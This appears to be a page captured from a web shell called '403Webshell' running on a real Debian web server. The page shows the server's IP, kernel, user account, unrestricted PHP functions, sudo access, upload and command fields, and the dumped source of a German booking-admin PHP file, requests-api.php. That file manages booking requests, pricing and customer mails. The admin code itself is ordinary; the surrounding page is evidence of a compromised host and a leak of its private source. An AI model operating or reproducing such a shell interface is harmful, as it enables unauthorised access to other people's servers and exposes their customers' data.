403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/clients/client1/seaside.pacim.de/web/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client1/seaside.pacim.de/web//requests-api.php
<?php
/**
 * requests-api.php – Admin-Verwaltung der Anfragen (pacim_booking_requests).
 * Aktuell: Wunsch-Reisezeitraum (request_type='period'); später auch
 * Kontaktformular-Anfragen (request_type='contact'). Nur Admins (is_admin).
 *
 *  action=list    GET  [status=all|pending|approved|rejected, type, q, limit, offset]
 *                      -> { ok, requests:[...], total, counts:{all,pending,approved,rejected} }
 *  action=get     GET  id            -> { ok, request:{... + booking/customer/invoice} }
 *  action=status  POST id, status    -> { ok, status }   (feuert Mailregel request_status)
 *  action=delete  POST id            -> { ok }
 */
require_once( __DIR__ . '/includes/config.inc.php' );
@ini_set( 'display_errors', '0' );
error_reporting( 0 );
ob_start();

function rq_json( $a ) { while ( ob_get_level() > 0 ) ob_end_clean(); header( 'Content-Type: application/json; charset=utf-8' ); echo json_encode( $a ); exit(); }
function rq_fail( $msg ) { rq_json( array( 'ok' => false, 'error' => $msg ) ); }

/** Rich-Text/HTML komplett zu sauberem Plaintext parsen (Tags raus, Entities dekodiert, Absätze → Umbrüche).
 *  Verhindert, dass HTML aus dem Editor (z. B. <p class="…">, &auml;) in der Antwort-Mail sichtbar wird. */
function rq_html_to_text( $s ) {
    $s = (string) $s;
    if ( strpos( $s, '<' ) === false && strpos( $s, '&' ) === false ) return trim( $s );   // bereits Plaintext
    if ( class_exists( 'mailrenderer' ) && method_exists( 'mailrenderer', 'htmlToPlain' ) ) return trim( mailrenderer::htmlToPlain( $s ) );
    $s = preg_replace( '#<\s*(br|/p|/div|/li|/h[1-6]|/tr)\b[^>]*>#i', "\n", $s );
    $s = html_entity_decode( strip_tags( $s ), ENT_QUOTES | ENT_HTML5, 'UTF-8' );
    return trim( preg_replace( "/\n{3,}/", "\n\n", $s ) );
}

if ( ! function_exists( 'is_admin' ) || ! is_admin() ) { http_response_code( 403 ); rq_json( array( 'ok' => false, 'error' => 'forbidden' ) ); }

$action = isset( $_GET['action'] ) ? $_GET['action'] : ( isset( $_POST['action'] ) ? $_POST['action'] : '' );
$db     = new MysqliDb( MYSQL_HOST, MYSQL_USER, MYSQL_PASS, MYSQL_DB );
$db->rawQuery( "SET NAMES utf8mb4" );
// Spalten idempotent sicherstellen (Wunsch-Anreisezeit + Entscheidungs-Felder)
foreach ( array(
    "ADD COLUMN IF NOT EXISTS request_checkin VARCHAR(5) NULL",
    "ADD COLUMN IF NOT EXISTS request_price DECIMAL(10,2) NULL",
    "ADD COLUMN IF NOT EXISTS request_ip VARCHAR(45) NULL",
    "ADD COLUMN IF NOT EXISTS request_decision_note TEXT NULL",
    "ADD COLUMN IF NOT EXISTS request_staff VARCHAR(190) NULL",
    "ADD COLUMN IF NOT EXISTS request_decided_at DATETIME NULL",
) as $alter ) @$db->rawQuery( "ALTER TABLE pacim_booking_requests $alter" );

$VALID_STATUS = array( 'pending', 'approved', 'rejected', 'done' );
$STATUS_LABEL = array( 'pending' => 'Unbearbeitet', 'approved' => 'Genehmigt', 'rejected' => 'Abgelehnt', 'done' => 'Erledigt' );
$TYPE_LABEL   = array( 'period' => 'Terminanfrage', 'contact' => 'Kontaktformular' );

/** Verwandte Datensätze zu einer E-Mail: weitere Anfragen + Buchungen desselben Kontakts. */
function rq_related( $db, $email, $excludeId ) {
    $email = trim( (string) $email );
    $out = array( 'requests' => array(), 'bookings' => array(), 'email' => $email );
    if ( $email === '' ) return $out;
    $reqs = $db->rawQuery(
        "SELECT r.request_id, r.request_type, r.request_status, r.request_created, r.request_note, r.request_begin, r.request_end, b.booking_no
         FROM pacim_booking_requests r
         LEFT JOIN pacim_booking  b ON b.booking_id  = r.request_booking
         LEFT JOIN pacim_customer c ON c.customer_id = b.booking_customer
         WHERE r.request_id <> ? AND ( r.request_email = ? OR c.customer_email = ? )
         ORDER BY r.request_created DESC LIMIT 50",
        array( (int) $excludeId, $email, $email ) );
    foreach ( (array) $reqs as $r ) {
        $out['requests'][] = array(
            'id'      => (int) $r['request_id'],
            'type'    => (string) $r['request_type'],
            'status'  => (string) $r['request_status'],
            'created' => (string) $r['request_created'],
            'note'    => mb_substr( (string) $r['request_note'], 0, 80 ),
            'begin'   => (string) ( $r['request_begin'] ?? '' ),
            'end'     => (string) ( $r['request_end'] ?? '' ),
            'booking_no' => (string) ( $r['booking_no'] ?? '' ),
        );
    }
    $bks = $db->rawQuery(
        "SELECT b.booking_id, b.booking_no, b.booking_invoice, b.booking_begin, b.booking_end, b.booking_event, b.booking_type, i.invoice_no, i.invoice_status
         FROM pacim_customer c
         JOIN pacim_booking  b ON b.booking_customer = c.customer_id
         LEFT JOIN pacim_invoice i ON i.invoice_id = b.booking_invoice
         WHERE c.customer_email = ?
         ORDER BY b.booking_begin DESC, b.booking_id DESC LIMIT 50",
        array( $email ) );
    foreach ( (array) $bks as $b ) {
        $out['bookings'][] = array(
            'booking_id' => (int) $b['booking_id'],
            'invoice_id' => (int) $b['booking_invoice'],
            'booking_no' => (string) $b['booking_no'],
            'begin'      => (string) ( $b['booking_begin'] ?? '' ),
            'end'        => (string) ( $b['booking_end'] ?? '' ),
            'event'      => (string) ( $b['booking_event'] ?? '' ),
            'type'       => (int) ( $b['booking_type'] ?? 0 ),
            'invoice_no' => (string) ( $b['invoice_no'] ?? '' ),
            'cancelled'  => ( (int) ( $b['invoice_status'] ?? 0 ) === 3 ),
        );
    }
    return $out;
}

/** Tabelle für ausgehende Antworten (Chat-Verlauf) sicherstellen. */
function rq_ensure_replies( $db ) {
    $db->rawQuery( "CREATE TABLE IF NOT EXISTS pacim_request_replies (
        reply_id INT AUTO_INCREMENT PRIMARY KEY,
        reply_email VARCHAR(190) NULL,
        reply_request INT NOT NULL DEFAULT 0,
        reply_body MEDIUMTEXT NULL,
        reply_staff VARCHAR(190) NULL,
        reply_created DATETIME NULL,
        KEY reply_email (reply_email)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4" );
}

/**
 * Chat-Verlauf EINER Kontaktanfrage: die eingehende Nachricht dieser Anfrage + die
 * dazugehörigen Antworten (reply_request = request_id), chronologisch sortiert.
 * Weitere Kontaktanfragen derselben E-Mail werden NICHT zusammengeführt – sie erscheinen
 * als Hinweis in der Seitenleiste (rq_related). body 'in' = Klartext, 'out' = HTML.
 */
function rq_thread( $db, $reqId ) {
    rq_ensure_replies( $db );
    $reqId = (int) $reqId;
    $msgs = array();
    if ( $reqId > 0 ) {
        $r = $db->rawQueryOne( "SELECT request_id, request_name, request_note, request_created FROM pacim_booking_requests WHERE request_id = ? AND request_type='contact'", array( $reqId ) );
        if ( $r ) $msgs[] = array( 'dir' => 'in', 'id' => (int) $r['request_id'], 'name' => (string) $r['request_name'], 'body' => (string) $r['request_note'], 'created' => (string) $r['request_created'] );
        foreach ( (array) $db->rawQuery( "SELECT reply_body, reply_staff, reply_created FROM pacim_request_replies WHERE reply_request = ? ORDER BY reply_created ASC, reply_id ASC", array( $reqId ) ) as $x ) {
            $msgs[] = array( 'dir' => 'out', 'staff' => (string) $x['reply_staff'], 'body' => (string) $x['reply_body'], 'created' => (string) $x['reply_created'] );
        }
        usort( $msgs, function ( $a, $b ) { $c = strcmp( (string) $a['created'], (string) $b['created'] ); return $c !== 0 ? $c : ( ( $a['dir'] === 'in' ? 0 : 1 ) - ( $b['dir'] === 'in' ? 0 : 1 ) ); } );
    }
    return $msgs;
}

/** Kundenname aus einer angereicherten Zeile ableiten (Buchungskunde oder request_name). */
function rq_customer_name( $r ) {
    $n = trim( (string) ( $r['c_firstname'] ?? '' ) . ' ' . (string) ( $r['c_lastname'] ?? '' ) );
    if ( $n === '' ) $n = trim( (string) ( $r['c_name'] ?? '' ) );
    if ( $n === '' ) $n = trim( (string) ( $r['request_name'] ?? '' ) );
    return $n;
}
function rq_customer_email( $r ) {
    $e = trim( (string) ( $r['c_email'] ?? '' ) );
    if ( $e === '' ) $e = trim( (string) ( $r['request_email'] ?? '' ) );
    return $e;
}

/**
 * Brutto-Preisvergleich aktueller vs. angefragter Reisezeitraum für eine Rechnung.
 * Zusatzprodukte (Valet/Camper …) sind jahresfix und bleiben unverändert; nur der
 * dauerabhängige Parkplatzpreis (Position 1/2) ändert sich mit dem Zeitraum.
 */
function rq_pricing( $db, $invoiceId, $reqBegin, $reqEnd ) {
    $invoiceId = (int) $invoiceId;
    $reqBegin = substr( (string) $reqBegin, 0, 10 );
    $reqEnd   = substr( (string) $reqEnd, 0, 10 );
    if ( $invoiceId <= 0 ) return null;
    if ( ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $reqBegin ) || ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $reqEnd ) ) return null;
    $bookings = $db->rawQuery( "SELECT booking_id, booking_type, booking_begin, booking_end FROM pacim_booking WHERE booking_invoice = ? ORDER BY booking_id ASC", array( $invoiceId ) );
    if ( ! count( (array) $bookings ) ) return null;

    $allNet = (float) ( $db->rawQueryOne( "SELECT COALESCE(SUM(invoice_pos_price*invoice_pos_quantity),0) s FROM pacim_invoice_pos WHERE invoice_id = ?", array( $invoiceId ) )['s'] ?? 0 );
    $curParkNet = (float) ( $db->rawQueryOne( "SELECT COALESCE(SUM(invoice_pos_price*invoice_pos_quantity),0) s FROM pacim_invoice_pos WHERE invoice_id = ? AND product_id IN (1,2)", array( $invoiceId ) )['s'] ?? 0 );

    $newDays = bookingservice::duration( $reqBegin, $reqEnd );
    $newYear = (int) date( 'Y', strtotime( $reqBegin ) );
    $newParkNet = 0.0;
    foreach ( $bookings as $b ) {
        $np = bookingservice::parkingPriceNet( (int) $b['booking_type'], $newDays, $newYear );
        if ( $np === false ) $np = 0.0;
        $newParkNet += (float) $np;
    }
    $newNet = $allNet - $curParkNet + $newParkNet;
    $cur0   = $bookings[0];
    return array(
        'vehicles'  => count( (array) $bookings ),
        'current'   => array(
            'begin' => substr( (string) $cur0['booking_begin'], 0, 10 ),
            'end'   => substr( (string) $cur0['booking_end'], 0, 10 ),
            'days'  => bookingservice::duration( $cur0['booking_begin'], $cur0['booking_end'] ),
            'gross' => round( $allNet * 1.19, 2 ),
        ),
        'requested' => array(
            'begin' => $reqBegin, 'end' => $reqEnd, 'days' => $newDays,
            'gross' => round( $newNet * 1.19, 2 ),
        ),
        'diff_gross' => round( ( $newNet - $allNet ) * 1.19, 2 ),
    );
}

/**
 * Angefragten Reisezeitraum auf die Buchung anwenden: Periode aller Fahrzeuge
 * setzen, Parkplatzpreis neu berechnen, invoice_price (Netto) aktualisieren.
 * Wird im Historie-Tab protokolliert (mit Rückgängig). Rückgabe: array(applied, …).
 */
function rq_apply_period( $db, $invoiceId, $begin, $end, $byName = '', $checkin = '' ) {
    $invoiceId = (int) $invoiceId;
    $begin = substr( (string) $begin, 0, 10 );
    $end   = substr( (string) $end, 0, 10 );
    $checkin = trim( (string) $checkin );
    if ( $checkin !== '' && ! preg_match( '/^([01]\d|2[0-3]):([0-5]\d)$/', $checkin ) ) $checkin = '';
    if ( ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $begin ) || ! preg_match( '/^\d{4}-\d{2}-\d{2}$/', $end ) ) return array( 'applied' => false, 'reason' => 'invalid_period' );
    $bookings = $db->rawQuery( "SELECT booking_id, booking_type FROM pacim_booking WHERE booking_invoice = ? ORDER BY booking_id ASC", array( $invoiceId ) );
    if ( ! count( (array) $bookings ) ) return array( 'applied' => false, 'reason' => 'no_booking' );

    $logBefore = class_exists( 'apilog' ) ? apilog::snapshot( $db, (int) $bookings[0]['booking_id'] ) : null;

    $newDays = bookingservice::duration( $begin, $end );
    $newYear = (int) date( 'Y', strtotime( $begin ) );
    foreach ( $bookings as $b ) {
        $bid  = (int) $b['booking_id'];
        $type = (int) $b['booking_type'];
        $upd  = array( 'booking_begin' => $begin, 'booking_end' => $end );
        if ( $checkin !== '' ) $upd['booking_cruise_checkin'] = $checkin . ':00'; // Wunsch-Anreisezeit übernehmen
        $db->where( 'booking_id', $bid );
        $db->update( 'pacim_booking', $upd );
        $np = bookingservice::parkingPriceNet( $type, $newDays, $newYear );
        if ( $np === false ) $np = 0.0;
        $db->rawQuery( "UPDATE pacim_invoice_pos SET invoice_pos_price = ? WHERE invoice_id = ? AND booking_id = ? AND product_id IN (1,2)", array( $np, $invoiceId, $bid ) );
    }
    // Parkplatz-Positionen ohne booking_id-Zuordnung (Fallback, Preis aus erstem Fahrzeug)
    $np0 = bookingservice::parkingPriceNet( (int) $bookings[0]['booking_type'], $newDays, $newYear ); if ( $np0 === false ) $np0 = 0.0;
    $db->rawQuery( "UPDATE pacim_invoice_pos SET invoice_pos_price = ? WHERE invoice_id = ? AND (booking_id IS NULL OR booking_id = 0) AND product_id IN (1,2)", array( $np0, $invoiceId ) );

    // invoice_price (Netto-Summe der Positionen) aktualisieren
    $net = (float) ( $db->rawQueryOne( "SELECT COALESCE(SUM(invoice_pos_price*invoice_pos_quantity),0) s FROM pacim_invoice_pos WHERE invoice_id = ?", array( $invoiceId ) )['s'] ?? 0 );
    $db->where( 'invoice_id', $invoiceId );
    $db->update( 'pacim_invoice', array( 'invoice_price' => round( $net, 2 ) ) );

    // Protokoll (Historie-Tab + Rückgängig)
    if ( class_exists( 'apilog' ) && $logBefore !== null ) {
        apilog::record( array(
            'key_name' => $byName !== '' ? $byName : 'Administrator',
            'ip'       => $_SERVER['REMOTE_ADDR'] ?? '', 'method' => 'POST',
            'resource' => 'booking', 'action' => 'update', 'kind' => 'write',
            'booking'  => (int) $bookings[0]['booking_id'], 'invoice' => $invoiceId,
            'target'   => 'Wunschzeitraum genehmigt – Reisezeitraum' . ( $checkin !== '' ? '/-zeit' : '' ) . ' & Preis angepasst',
            'changes'  => apilog::diff( $logBefore, apilog::snapshot( $db, (int) $bookings[0]['booking_id'] ) ),
        ) );
    }
    return array( 'applied' => true, 'gross' => round( $net * 1.19, 2 ), 'days' => $newDays, 'begin' => $begin, 'end' => $end, 'checkin' => ( $checkin !== '' ? $checkin : null ) );
}

/* ============================================================ LISTE */
if ( $action === 'list' ) {
    $status = (string) ( $_GET['status'] ?? 'all' );
    $type   = (string) ( $_GET['type'] ?? 'all' );
    $q      = trim( (string) ( $_GET['q'] ?? '' ) );
    $limit  = min( 500, max( 1, (int) ( $_GET['limit'] ?? 200 ) ) );
    $offset = max( 0, (int) ( $_GET['offset'] ?? 0 ) );

    $join = "FROM pacim_booking_requests r
             LEFT JOIN pacim_booking  b ON b.booking_id  = r.request_booking
             LEFT JOIN pacim_customer c ON c.customer_id = b.booking_customer";

    $where = array( '1=1' ); $params = array();
    if ( in_array( $status, $GLOBALS['VALID_STATUS'], true ) ) { $where[] = 'r.request_status = ?'; $params[] = $status; }
    if ( $type !== 'all' && $type !== '' )                     { $where[] = 'r.request_type = ?';   $params[] = $type; }
    if ( $q !== '' ) {
        $where[] = '(b.booking_no LIKE ? OR c.customer_lastname LIKE ? OR c.customer_firstname LIKE ? OR c.customer_email LIKE ? OR r.request_name LIKE ? OR r.request_email LIKE ? OR r.request_note LIKE ?)';
        for ( $i = 0; $i < 7; $i++ ) $params[] = '%' . $q . '%';
    }
    $w = implode( ' AND ', $where );

    $rows = $db->rawQuery(
        "SELECT r.*, b.booking_no, b.booking_begin AS bk_begin, b.booking_end AS bk_end,
                b.booking_type, c.customer_firstname AS c_firstname, c.customer_lastname AS c_lastname,
                c.customer_name AS c_name, c.customer_email AS c_email
         $join WHERE $w ORDER BY (r.request_status='pending') DESC, r.request_created DESC
         LIMIT $offset, $limit", $params );
    $rows = (array) $rows;
    $rows = (array) $rows;

    $tot = $db->rawQueryOne( "SELECT COUNT(*) c $join WHERE $w", $params );
    $total = $tot ? (int) $tot['c'] : 0;

    // Status-Zähler (mit aktuellem Typ-Filter, aber ohne Status-Filter)
    $cWhere = array( '1=1' ); $cParams = array();
    if ( $type !== 'all' && $type !== '' ) { $cWhere[] = 'r.request_type = ?'; $cParams[] = $type; }
    $cw = implode( ' AND ', $cWhere );
    $cntRows = $db->rawQuery( "SELECT r.request_status s, COUNT(*) c FROM pacim_booking_requests r WHERE $cw GROUP BY r.request_status", $cParams );
    $counts = array( 'all' => 0, 'pending' => 0, 'approved' => 0, 'rejected' => 0, 'done' => 0 );
    foreach ( (array) $cntRows as $cr ) { $s = (string) $cr['s']; $counts['all'] += (int) $cr['c']; if ( isset( $counts[ $s ] ) ) $counts[ $s ] = (int) $cr['c']; }

    $out = array();
    foreach ( $rows as $r ) {
        $out[] = array(
            'request_id'     => (int) $r['request_id'],
            'request_type'   => (string) $r['request_type'],
            'type_label'     => $GLOBALS['TYPE_LABEL'][ (string) $r['request_type'] ] ?? (string) $r['request_type'],
            'request_status' => (string) $r['request_status'],
            'status_label'   => $GLOBALS['STATUS_LABEL'][ (string) $r['request_status'] ] ?? (string) $r['request_status'],
            'request_source' => (string) $r['request_source'],
            'request_booking'=> (int) $r['request_booking'],
            'booking_no'     => (string) ( $r['booking_no'] ?? '' ),
            'customer_name'  => rq_customer_name( $r ),
            'customer_email' => rq_customer_email( $r ),
            'request_begin'  => (string) ( $r['request_begin'] ?? '' ),
            'request_end'    => (string) ( $r['request_end'] ?? '' ),
            'request_checkin'=> ( isset( $r['request_checkin'] ) && $r['request_checkin'] !== '' ) ? (string) $r['request_checkin'] : '',
            'request_price'  => ( isset( $r['request_price'] ) && $r['request_price'] !== null ) ? (float) $r['request_price'] : null,
            'request_subject'=> (string) ( $r['request_subject'] ?? '' ),
            'request_note'   => (string) ( $r['request_note'] ?? '' ),
            'request_created'=> (string) ( $r['request_created'] ?? '' ),
            'request_updated'=> (string) ( $r['request_updated'] ?? '' ),
        );
    }

    // Beantwortete Buchungshinweise zusätzlich unter „Erledigt"/„Alle" listen (NICHT unter „Offen").
    // Nur im Kontakt-Tab (bzw. ohne Typ-Filter); nur erste Seite (offset 0).
    if ( ( $type === 'contact' || $type === 'all' || $type === '' ) && ( $status === 'done' || $status === 'all' ) && $offset === 0 ) {
        $hWhere = array( "b.booking_hint_reply IS NOT NULL", "TRIM(b.booking_hint_reply) <> ''" );
        $hParams = array();
        if ( $q !== '' ) {
            $hWhere[] = '(b.booking_no LIKE ? OR c.customer_lastname LIKE ? OR c.customer_firstname LIKE ? OR c.customer_email LIKE ? OR b.booking_hint LIKE ?)';
            for ( $i = 0; $i < 5; $i++ ) $hParams[] = '%' . $q . '%';
        }
        $hw = implode( ' AND ', $hWhere );
        $hCntRow = $db->rawQueryOne( "SELECT COUNT(*) c FROM pacim_booking b LEFT JOIN pacim_customer c ON c.customer_id=b.booking_customer WHERE $hw", $hParams );
        $hCnt = $hCntRow ? (int) $hCntRow['c'] : 0;
        $counts['done'] += $hCnt; $counts['all'] += $hCnt; $total += $hCnt;

        foreach ( (array) $db->rawQuery(
            "SELECT b.booking_id, b.booking_no, b.booking_invoice, b.booking_hint, b.booking_hint_reply,
                    b.booking_hint_reply_at, c.customer_firstname, c.customer_lastname, c.customer_name, c.customer_email
               FROM pacim_booking b LEFT JOIN pacim_customer c ON c.customer_id=b.booking_customer
              WHERE $hw ORDER BY b.booking_hint_reply_at DESC LIMIT $limit", $hParams ) as $h ) {
            $cn = trim( (string) ( $h['customer_name'] ?? '' ) );
            if ( $cn === '' ) $cn = trim( (string) ( $h['customer_firstname'] ?? '' ) . ' ' . (string) ( $h['customer_lastname'] ?? '' ) );
            $out[] = array(
                'request_id'     => 0,
                'request_type'   => 'hint',
                'type_label'     => 'Buchungshinweis',
                'request_status' => 'done',
                'status_label'   => 'Erledigt',
                'request_source' => 'Buchungshinweis',
                'request_booking'=> (int) $h['booking_id'],
                'request_invoice'=> (int) $h['booking_invoice'],
                'booking_no'     => (string) ( $h['booking_no'] ?? '' ),
                'customer_name'  => $cn,
                'customer_email' => (string) ( $h['customer_email'] ?? '' ),
                'request_note'   => (string) ( $h['booking_hint'] ?? '' ),
                'hint_reply'     => (string) ( $h['booking_hint_reply'] ?? '' ),
                'request_created'=> (string) ( $h['booking_hint_reply_at'] ?? '' ),
                'request_updated'=> (string) ( $h['booking_hint_reply_at'] ?? '' ),
            );
        }
        // Sortierung: offene zuerst (für „Alle"), sonst neueste zuerst – inkl. der gemergten Hinweise.
        usort( $out, function ( $a, $b ) {
            $pa = ( $a['request_status'] === 'pending' ) ? 1 : 0;
            $pb = ( $b['request_status'] === 'pending' ) ? 1 : 0;
            if ( $pa !== $pb ) return $pb - $pa;
            return strcmp( (string) $b['request_created'], (string) $a['request_created'] );
        } );
        if ( count( $out ) > $limit ) $out = array_slice( $out, 0, $limit );
    }

    rq_json( array( 'ok' => true, 'requests' => $out, 'total' => $total, 'counts' => $counts ) );
}

/* ============================================================ DETAIL */
if ( $action === 'get' ) {
    $id = (int) ( $_GET['id'] ?? 0 );
    if ( $id <= 0 ) rq_fail( 'invalid_id' );
    $r = $db->rawQueryOne(
        "SELECT r.*, b.booking_no, b.booking_begin AS bk_begin, b.booking_end AS bk_end, b.booking_type,
                b.booking_event, b.booking_guests, b.booking_phone,
                c.customer_firstname AS c_firstname, c.customer_lastname AS c_lastname,
                c.customer_name AS c_name, c.customer_email AS c_email, c.customer_phone AS c_phone,
                i.invoice_no
         FROM pacim_booking_requests r
         LEFT JOIN pacim_booking  b ON b.booking_id  = r.request_booking
         LEFT JOIN pacim_customer c ON c.customer_id = b.booking_customer
         LEFT JOIN pacim_invoice  i ON i.invoice_id  = r.request_invoice
         WHERE r.request_id = ?", array( $id ) );
    if ( ! $r ) rq_fail( 'not_found' );
    $pricing = null;
    if ( (string) $r['request_type'] === 'period' && (int) $r['request_invoice'] > 0 && ! empty( $r['request_begin'] ) && ! empty( $r['request_end'] ) ) {
        $pricing = rq_pricing( $db, (int) $r['request_invoice'], (string) $r['request_begin'], (string) $r['request_end'] );
    }
    rq_json( array( 'ok' => true, 'request' => array(
        'request_id'     => (int) $r['request_id'],
        'request_type'   => (string) $r['request_type'],
        'type_label'     => $TYPE_LABEL[ (string) $r['request_type'] ] ?? (string) $r['request_type'],
        'request_status' => (string) $r['request_status'],
        'status_label'   => $STATUS_LABEL[ (string) $r['request_status'] ] ?? (string) $r['request_status'],
        'request_source' => (string) $r['request_source'],
        'request_booking'=> (int) $r['request_booking'],
        'request_invoice'=> (int) $r['request_invoice'],
        'booking_no'     => (string) ( $r['booking_no'] ?? '' ),
        'invoice_no'     => (string) ( $r['invoice_no'] ?? '' ),
        'booking_event'  => (string) ( $r['booking_event'] ?? '' ),
        'booking_begin'  => (string) ( $r['bk_begin'] ?? '' ),
        'booking_end'    => (string) ( $r['bk_end'] ?? '' ),
        'customer_name'  => rq_customer_name( $r ),
        'customer_email' => rq_customer_email( $r ),
        'customer_phone' => (string) ( $r['c_phone'] ?? $r['booking_phone'] ?? '' ),
        'request_begin'  => (string) ( $r['request_begin'] ?? '' ),
        'request_end'    => (string) ( $r['request_end'] ?? '' ),
        'request_checkin'=> ( isset( $r['request_checkin'] ) && $r['request_checkin'] !== '' ) ? (string) $r['request_checkin'] : '',
        'request_price'  => ( isset( $r['request_price'] ) && $r['request_price'] !== null ) ? (float) $r['request_price'] : null,
        'request_subject'=> (string) ( $r['request_subject'] ?? '' ),
        'request_note'   => (string) ( $r['request_note'] ?? '' ),
        'request_created'=> (string) ( $r['request_created'] ?? '' ),
        'request_updated'=> (string) ( $r['request_updated'] ?? '' ),
        'request_source' => (string) ( $r['request_source'] ?? '' ),
        'request_ip'     => (string) ( $r['request_ip'] ?? '' ),
        'decision_note'  => (string) ( $r['request_decision_note'] ?? '' ),
        'staff_name'     => (string) ( $r['request_staff'] ?? '' ),
        'decided_at'     => (string) ( $r['request_decided_at'] ?? '' ),
        'pricing'        => $pricing,
        'related'        => rq_related( $db, rq_customer_email( $r ), (int) $r['request_id'] ),
        'thread'         => ( (string) $r['request_type'] === 'contact' ) ? rq_thread( $db, (int) $r['request_id'] ) : array(),
    ) ) );
}

/* ============================================================ STATUS ÄNDERN */
if ( $action === 'status' ) {
    if ( $_SERVER['REQUEST_METHOD'] !== 'POST' ) rq_fail( 'method' );
    $id     = (int) ( $_POST['id'] ?? 0 );
    $status = (string) ( $_POST['status'] ?? '' );
    if ( $id <= 0 ) rq_fail( 'invalid_id' );
    if ( ! in_array( $status, $VALID_STATUS, true ) ) rq_fail( 'invalid_status' );

    $r = $db->rawQueryOne( "SELECT * FROM pacim_booking_requests r WHERE r.request_id = ?", array( $id ) );
    if ( ! $r ) rq_fail( 'not_found' );

    // Entscheidungs-Felder: Freitext an den Gast + Mitarbeitername + Zeitpunkt.
    // Kontaktanfragen (WYSIWYG): Formatierung als sichere HTML-Teilmenge erhalten; Terminanfragen bleiben Klartext.
    $rawNote      = (string) ( $_POST['decision_note'] ?? '' );
    $decisionNote = ( (string) $r['request_type'] === 'contact' && class_exists( 'mailrenderer' ) )
        ? mailrenderer::replyRichHtml( $rawNote )
        : rq_html_to_text( $rawNote );
    $staff        = trim( (string) ( $_SESSION['user_name'] ?? 'Administrator' ) );
    $now          = date( 'Y-m-d H:i:s' );
    // Genehmigung: optional Reisezeitraum/-zeit verbindlich übernehmen (Standard: ja).
    $applyPeriod  = ! isset( $_POST['apply'] ) || filter_var( $_POST['apply'], FILTER_VALIDATE_BOOLEAN );
    $reqCheckin   = (string) ( $r['request_checkin'] ?? '' );

    $upd = array( 'request_status' => $status, 'request_updated' => $now );
    if ( $status === 'approved' || $status === 'rejected' ) {
        $upd['request_decision_note'] = $decisionNote;
        $upd['request_staff']         = $staff;
        $upd['request_decided_at']    = $now;
    }
    $db->where( 'request_id', $id );
    $ok = $db->update( 'pacim_booking_requests', $upd );
    if ( ! $ok ) rq_fail( 'update_failed' );

    // Bei Genehmigung eines Wunschzeitraums (und apply=true): Reisezeitraum/-zeit + Preis übernehmen.
    $applied = null;
    if ( $status === 'approved' && $applyPeriod && (string) $r['request_type'] === 'period' && (int) $r['request_booking'] > 0 && ! empty( $r['request_begin'] ) && ! empty( $r['request_end'] ) ) {
        $iid = (int) $r['request_invoice'];
        $inv = $iid > 0 ? $db->rawQueryOne( "SELECT invoice_status FROM pacim_invoice WHERE invoice_id = ?", array( $iid ) ) : null;
        if ( $inv && (int) $inv['invoice_status'] === 3 ) {
            $applied = array( 'applied' => false, 'reason' => 'cancelled' ); // stornierte Buchung nicht ändern
        } else {
            $applied = rq_apply_period( $db, $iid, (string) $r['request_begin'], (string) $r['request_end'], $staff, $reqCheckin );
        }
    }

    // Mail-Regel „Anfrage-Status geändert" – ohne booking_id (mehrfacher Statuswechsel möglich).
    if ( class_exists( 'mailrules' ) ) {
        $iid  = (int) $r['request_invoice'];
        $cust = $iid > 0 ? $db->rawQueryOne( "SELECT invoice_customer FROM pacim_invoice WHERE invoice_id = ?", array( $iid ) ) : null;
        $ctx = array(
            'request_type'    => (string) $r['request_type'],
            'request_begin'   => (string) $r['request_begin'],
            'request_end'     => (string) $r['request_end'],
            'request_checkin' => $reqCheckin,
            'request_note'    => (string) $r['request_note'],
            'request_status'  => $status,
            'request_status_label' => $STATUS_LABEL[ $status ] ?? $status,
            'request_decision_note' => $decisionNote, // Freitext des Mitarbeiters an den Gast
            'request_staff'         => $staff,        // Name des bearbeitenden Mitarbeiters
            'request_decided_at'    => $now,
        );
        if ( $applied && ! empty( $applied['applied'] ) ) $ctx['request_price'] = number_format( (float) $applied['gross'], 2, ',', '.' ) . ' €';
        $meta = array(
            'invoice_id'  => $iid,
            'customer_id' => $cust ? (int) $cust['invoice_customer'] : 0,
            'request_id'  => (int) $id, // Dedupe: eine Mail je Anfrage+Template (verhindert Mehrfachversand bei Status-Events)
            'ctx'         => $ctx,
        );
        // Kontaktanfrage (keine Buchung/Rechnung): Empfänger + Anrede aus den Anfrage-Feldern,
        // sonst würde der Beispiel-Kontext (max@example.com) greifen.
        if ( (string) $r['request_type'] !== 'period' ) {
            $email = trim( (string) ( $r['request_email'] ?? '' ) );
            if ( $email !== '' ) $meta['to'] = $email;
            $nameParts = preg_split( '/\s+/', trim( (string) ( $r['request_name'] ?? '' ) ), 2 );
            $ctx['request_name']    = (string) ( $r['request_name'] ?? '' );
            $ctx['request_email']   = $email;
            $ctx['request_message'] = (string) ( $r['request_note'] ?? '' );
            $ctx['request_source']  = (string) ( $r['request_source'] ?? '' );
            $ctx['request_ip']      = (string) ( $r['request_ip'] ?? '' );
            $ctx['customer_email']     = $email;
            $ctx['customer_firstname'] = $nameParts[0] ?? '';
            $ctx['customer_lastname']  = $nameParts[1] ?? '';
            $ctx['name']      = trim( (string) ( $r['request_name'] ?? '' ) );
            $ctx['firstname'] = $nameParts[0] ?? '';
            $ctx['lastname']  = $nameParts[1] ?? '';
            $ctx['email']     = $email;
            $ctx['salutation']         = 'Guten Tag' . ( trim( (string) ( $r['request_name'] ?? '' ) ) !== '' ? ' ' . trim( (string) $r['request_name'] ) : '' );
            $meta['ctx'] = $ctx;
        }
        mailrules::evaluateEvent( 'request_status', $meta, 'request_status' );
    }
    rq_json( array( 'ok' => true, 'status' => $status, 'applied' => $applied, 'decision_note' => $decisionNote, 'staff_name' => $staff, 'decided_at' => $now ) );
}

/* ============================================================ KONTAKT BEANTWORTEN (Chat) */
if ( $action === 'reply' ) {
